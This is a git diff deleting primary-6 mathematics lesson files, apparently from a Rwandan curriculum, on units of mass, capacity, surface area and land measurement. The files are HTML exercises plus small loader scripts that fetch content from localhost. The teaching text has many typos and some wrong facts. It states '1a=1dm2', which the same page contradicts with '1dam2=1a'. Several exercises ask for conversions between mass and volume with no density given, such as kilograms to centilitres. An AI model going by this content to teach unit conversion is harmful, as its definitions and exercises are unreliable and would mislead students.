diff --git a/Save_Mathematics/P6/map611m13/map611m13a03/a.txt b/Save_Mathematics/P6/map611m13/map611m13a03/a.txt
deleted file mode 100644
index e229ee0..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a03/a.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-<p>
- <strong>
-  Indeendent Prctice
- </strong>
- <br />
- <br />
- 1) Convert the following to the given units;
- <br />
- a. 74dl=...........cl=.........ml
- <br />
- b. 9t=........q=.........kg
- <br />
- e. 738kg=.......cl=........dg
- <br />
- d. 58dl=.......g
- <br />
- e. 17dal=........dag
- <br />
- f. 20kg=........ml=.......mg
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a03/description.py b/Save_Mathematics/P6/map611m13/map611m13a03/description.py
deleted file mode 100644
index 5212369..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m13a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m13/map611m13a03/lesson.js b/Save_Mathematics/P6/map611m13/map611m13a03/lesson.js
deleted file mode 100644
index f8295b3..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m13/map611m13a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m13/map611m13a03/source.txt b/Save_Mathematics/P6/map611m13/map611m13a03/source.txt
deleted file mode 100644
index e229ee0..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a03/source.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-<p>
- <strong>
-  Indeendent Prctice
- </strong>
- <br />
- <br />
- 1) Convert the following to the given units;
- <br />
- a. 74dl=...........cl=.........ml
- <br />
- b. 9t=........q=.........kg
- <br />
- e. 738kg=.......cl=........dg
- <br />
- d. 58dl=.......g
- <br />
- e. 17dal=........dag
- <br />
- f. 20kg=........ml=.......mg
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a04/a.txt b/Save_Mathematics/P6/map611m13/map611m13a04/a.txt
deleted file mode 100644
index 1979cb5..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a04/a.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
- </span>
- <br />
- <br />
- Convert the following to the given units
- <br />
- <br />
- a. 16q=........kg=....dg
- <br />
- b. 97hl=.........kg
- <br />
- c. 65l=........ml
- <br />
- d. 47dl=.......dg=.......g
- <br />
- e. If a driver uses 30litres of fuel from wednesday to sunnday, how many dag are there?
- <br />
- <br />
- f. A tructransports 46tonnes of milk, how many kilograms aree there?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a04/description.py b/Save_Mathematics/P6/map611m13/map611m13a04/description.py
deleted file mode 100644
index 387380c..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m13a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m13/map611m13a04/lesson.js b/Save_Mathematics/P6/map611m13/map611m13a04/lesson.js
deleted file mode 100644
index 5471fd5..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m13/map611m13a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m13/map611m13a04/source.txt b/Save_Mathematics/P6/map611m13/map611m13a04/source.txt
deleted file mode 100644
index 1979cb5..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a04/source.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
- </span>
- <br />
- <br />
- Convert the following to the given units
- <br />
- <br />
- a. 16q=........kg=....dg
- <br />
- b. 97hl=.........kg
- <br />
- c. 65l=........ml
- <br />
- d. 47dl=.......dg=.......g
- <br />
- e. If a driver uses 30litres of fuel from wednesday to sunnday, how many dag are there?
- <br />
- <br />
- f. A tructransports 46tonnes of milk, how many kilograms aree there?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a05/a.txt b/Save_Mathematics/P6/map611m13/map611m13a05/a.txt
deleted file mode 100644
index 0e00709..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a05/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial::
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- Drinks are needed by our body . Are found on the containers. We can measure them in capacity in mass.
- <br />
- <br />
- Listen the following examples:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The petrol tank holds 10 000 llitres , how many kg are there?
- </li>
- <li>
-  The water tank holds 500 litres, how manny dag are there?
- </li>
-</ul>
-<p>
- Complete the following:
- <br />
- a. 33cl=........g
- <br />
- b. 29t=.........kg
- <br />
- c. 12dg=.........dl
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a05/description.py b/Save_Mathematics/P6/map611m13/map611m13a05/description.py
deleted file mode 100644
index 69a57a6..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m13a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m13/map611m13a05/lesson.js b/Save_Mathematics/P6/map611m13/map611m13a05/lesson.js
deleted file mode 100644
index 1724ea8..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m13/map611m13a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m13/map611m13a05/source.txt b/Save_Mathematics/P6/map611m13/map611m13a05/source.txt
deleted file mode 100644
index 0e00709..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a05/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial::
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- Drinks are needed by our body . Are found on the containers. We can measure them in capacity in mass.
- <br />
- <br />
- Listen the following examples:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The petrol tank holds 10 000 llitres , how many kg are there?
- </li>
- <li>
-  The water tank holds 500 litres, how manny dag are there?
- </li>
-</ul>
-<p>
- Complete the following:
- <br />
- a. 33cl=........g
- <br />
- b. 29t=.........kg
- <br />
- c. 12dg=.........dl
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a06/a.txt b/Save_Mathematics/P6/map611m13/map611m13a06/a.txt
deleted file mode 100644
index 13b8fbf..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a06/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Enrechment.
- </span>
- <br />
- <br />
- Answer to the following:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The cooking oil used by a family per month iss 20dl. How many ml are there?
- </li>
- <li>
-  A mother went to the market and buy 12litres of cooking oil, 8litres of orange juice, 5litres of mineral water. Which amount of litres bought altogether?
- </li>
- <li>
-  Change 2905kg to dag
- </li>
- <li>
-  How maany decagrams aree in 15kg
- </li>
- <li>
-  How many dg are in 35hg andd 350dag?
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a06/description.py b/Save_Mathematics/P6/map611m13/map611m13a06/description.py
deleted file mode 100644
index 9a3a980..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m13a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m13/map611m13a06/lesson.js b/Save_Mathematics/P6/map611m13/map611m13a06/lesson.js
deleted file mode 100644
index f77667c..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m13/map611m13a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m13/map611m13a06/source.txt b/Save_Mathematics/P6/map611m13/map611m13a06/source.txt
deleted file mode 100644
index 13b8fbf..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a06/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Enrechment.
- </span>
- <br />
- <br />
- Answer to the following:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The cooking oil used by a family per month iss 20dl. How many ml are there?
- </li>
- <li>
-  A mother went to the market and buy 12litres of cooking oil, 8litres of orange juice, 5litres of mineral water. Which amount of litres bought altogether?
- </li>
- <li>
-  Change 2905kg to dag
- </li>
- <li>
-  How maany decagrams aree in 15kg
- </li>
- <li>
-  How many dg are in 35hg andd 350dag?
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/activities.js b/Save_Mathematics/P6/map611m14/activities.js
deleted file mode 100755
index f9f39c3..0000000
--- a/Save_Mathematics/P6/map611m14/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m14a01','blue'],
-['2','2','map6','basic','map611m14a02','blue'],
-['3','3','map6','basic','map611m14a03','blue'],
-['4','4','map6','basic','map611m14a04','blue'],
-['5','5','map6','basic','map611m14a05','blue'],
-['6','6','map6','basic','map611m14a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m14/map611m14a01/a.txt b/Save_Mathematics/P6/map611m14/map611m14a01/a.txt
deleted file mode 100644
index 1cb4a47..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a01/a.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- <span style="font-size: medium;">
-  <span style="font-weight: bold;">
-   INTRODUCION.
-  </span>
-  <br />
-  <br />
-  We use mmeasurements to know the value of land, the value o the whole of country, of District, of Province nd of certain figures(square,tringle, Parallelograme,....;). Those
-  <br />
-  measurements appear two times in multiplication.
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-size: medium;">
-   For example thhe surface of Rwanda is 26 338km
-   <sup>
-    2
-   </sup>
-   , the number of population estameted per km
-   <sup>
-    2
-   </sup>
-   is .......... .
-  </span>
- </li>
- <li>
-  <span style="font-size: medium;">
-   A recctangle which has 20m of width and 30m of length as its sides has 600m
-   <sup>
-    2
-   </sup>
-  </span>
-  of surface.
- </li>
- <li>
-  <span style="font-size: medium;">
-   The land that has the same dimensions with above recctangle , we measure it in hectares, ares or centiares(30m*20m)=600ca.
-  </span>
- </li>
-</ul>
-<p>
- In this milestone, we will talk about meeasuremennts of surface and mmeasurements of land.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a01/description.py b/Save_Mathematics/P6/map611m14/map611m14a01/description.py
deleted file mode 100644
index 431b139..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m14a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m14/map611m14a01/lesson.js b/Save_Mathematics/P6/map611m14/map611m14a01/lesson.js
deleted file mode 100644
index 7aa9466..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m14/map611m14a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m14/map611m14a01/source.txt b/Save_Mathematics/P6/map611m14/map611m14a01/source.txt
deleted file mode 100644
index 1cb4a47..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a01/source.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- <span style="font-size: medium;">
-  <span style="font-weight: bold;">
-   INTRODUCION.
-  </span>
-  <br />
-  <br />
-  We use mmeasurements to know the value of land, the value o the whole of country, of District, of Province nd of certain figures(square,tringle, Parallelograme,....;). Those
-  <br />
-  measurements appear two times in multiplication.
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-size: medium;">
-   For example thhe surface of Rwanda is 26 338km
-   <sup>
-    2
-   </sup>
-   , the number of population estameted per km
-   <sup>
-    2
-   </sup>
-   is .......... .
-  </span>
- </li>
- <li>
-  <span style="font-size: medium;">
-   A recctangle which has 20m of width and 30m of length as its sides has 600m
-   <sup>
-    2
-   </sup>
-  </span>
-  of surface.
- </li>
- <li>
-  <span style="font-size: medium;">
-   The land that has the same dimensions with above recctangle , we measure it in hectares, ares or centiares(30m*20m)=600ca.
-  </span>
- </li>
-</ul>
-<p>
- In this milestone, we will talk about meeasuremennts of surface and mmeasurements of land.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a02/a.txt b/Save_Mathematics/P6/map611m14/map611m14a02/a.txt
deleted file mode 100644
index 1636ec7..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a02/a.txt
+++ /dev/null
@@ -1,425 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice: Measurement of surfface and land measurements.
- </span>
- <br />
- <br />
- Conversion table of surface and land measurements.
- <br />
- <br />
- Change: 87dam
- <sup>
-  2
- </sup>
- =.........ca
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    km
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    hm
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    dam
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    m
-    <sup>
-     2
-    </sup>
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    dm
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    cm
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    mm
-    <sup>
-     2
-    </sup>
-   </td>
-  </tr>
-  <tr>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    ha
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    a
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    ca
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Therefore 87dam
- <sup>
-  2
- </sup>
- 8700ca
- <br />
- <br />
- The following measurements are the land measurements.
- <br />
- Hectares(ha) ha=1hm
- <sup>
-  2
- </sup>
- <br />
- Ares(a) 1a=1dm
- <sup>
-  2
- </sup>
- <br />
- Centares(ca) 1ca=1m
- <sup>
-  2
- </sup>
- <br />
- <br />
- Square kilometres(km
- <sup>
-  2
- </sup>
- )=1km*1km.
- <br />
- Square hectometres(hm
- <sup>
-  2
- </sup>
- )=1hm*1hm
- <br />
- Squaee decametres(dam
- <sup>
-  2
- </sup>
- )=1dam*1dam.
- <br />
- Square metres(m
- <sup>
-  2
- </sup>
- )=1m*1m.
- <br />
- Square decimetrs(dm
- <sup>
-  2
- </sup>
- )=1dm*1dm.
- <br />
- Square centimetres(cm
- <sup>
-  2
- </sup>
- )=1cm*1cm.
- <br />
- Square millimetres(mm
- <sup>
-  2
- </sup>
- )=1mm*1mm.
- <br />
- <br />
- 1hm
- <sup>
-  2
- </sup>
- =100dam
- <sup>
-  2
- </sup>
- =100a
- <br />
- 1dam
- <sup>
-  2
- </sup>
- =100m
- <sup>
-  2
- </sup>
- =100ca
- <br />
- 1hm
- <sup>
-  2
- </sup>
- =10 000m
- <sup>
-  2
- </sup>
- =10 000ca
- <br />
- 1dam
- <sup>
-  2
- </sup>
- =1a
- <br />
- 1hm
- <sup>
-  2
- </sup>
- =1ha
- <br />
- <br />
- If you complete the taable with land and surface measurements, when you start from left tto right, you multiply by
- <br />
- 100 to get thee nearest units.
- <br />
- <br />
- The standard unit in the measurements of surface/area is m
- <sup>
-  2
- </sup>
- (square metre)
- <br />
- <br />
- while for land measurements the standard unit is hectare(ha)
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a02/description.py b/Save_Mathematics/P6/map611m14/map611m14a02/description.py
deleted file mode 100644
index f90570b..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m14a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m14/map611m14a02/lesson.js b/Save_Mathematics/P6/map611m14/map611m14a02/lesson.js
deleted file mode 100644
index 9ad970c..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m14/map611m14a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m14/map611m14a02/source.txt b/Save_Mathematics/P6/map611m14/map611m14a02/source.txt
deleted file mode 100644
index 1636ec7..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a02/source.txt
+++ /dev/null
@@ -1,425 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice: Measurement of surfface and land measurements.
- </span>
- <br />
- <br />
- Conversion table of surface and land measurements.
- <br />
- <br />
- Change: 87dam
- <sup>
-  2
- </sup>
- =.........ca
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    km
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    hm
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    dam
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    m
-    <sup>
-     2
-    </sup>
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    dm
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    cm
-    <sup>
-     2
-    </sup>
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    mm
-    <sup>
-     2
-    </sup>
-   </td>
-  </tr>
-  <tr>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    ha
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    a
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    ca
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="7%" valign="top">
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-   <td width="7%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Therefore 87dam
- <sup>
-  2
- </sup>
- 8700ca
- <br />
- <br />
- The following measurements are the land measurements.
- <br />
- Hectares(ha) ha=1hm
- <sup>
-  2
- </sup>
- <br />
- Ares(a) 1a=1dm
- <sup>
-  2
- </sup>
- <br />
- Centares(ca) 1ca=1m
- <sup>
-  2
- </sup>
- <br />
- <br />
- Square kilometres(km
- <sup>
-  2
- </sup>
- )=1km*1km.
- <br />
- Square hectometres(hm
- <sup>
-  2
- </sup>
- )=1hm*1hm
- <br />
- Squaee decametres(dam
- <sup>
-  2
- </sup>
- )=1dam*1dam.
- <br />
- Square metres(m
- <sup>
-  2
- </sup>
- )=1m*1m.
- <br />
- Square decimetrs(dm
- <sup>
-  2
- </sup>
- )=1dm*1dm.
- <br />
- Square centimetres(cm
- <sup>
-  2
- </sup>
- )=1cm*1cm.
- <br />
- Square millimetres(mm
- <sup>
-  2
- </sup>
- )=1mm*1mm.
- <br />
- <br />
- 1hm
- <sup>
-  2
- </sup>
- =100dam
- <sup>
-  2
- </sup>
- =100a
- <br />
- 1dam
- <sup>
-  2
- </sup>
- =100m
- <sup>
-  2
- </sup>
- =100ca
- <br />
- 1hm
- <sup>
-  2
- </sup>
- =10 000m
- <sup>
-  2
- </sup>
- =10 000ca
- <br />
- 1dam
- <sup>
-  2
- </sup>
- =1a
- <br />
- 1hm
- <sup>
-  2
- </sup>
- =1ha
- <br />
- <br />
- If you complete the taable with land and surface measurements, when you start from left tto right, you multiply by
- <br />
- 100 to get thee nearest units.
- <br />
- <br />
- The standard unit in the measurements of surface/area is m
- <sup>
-  2
- </sup>
- (square metre)
- <br />
- <br />
- while for land measurements the standard unit is hectare(ha)
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
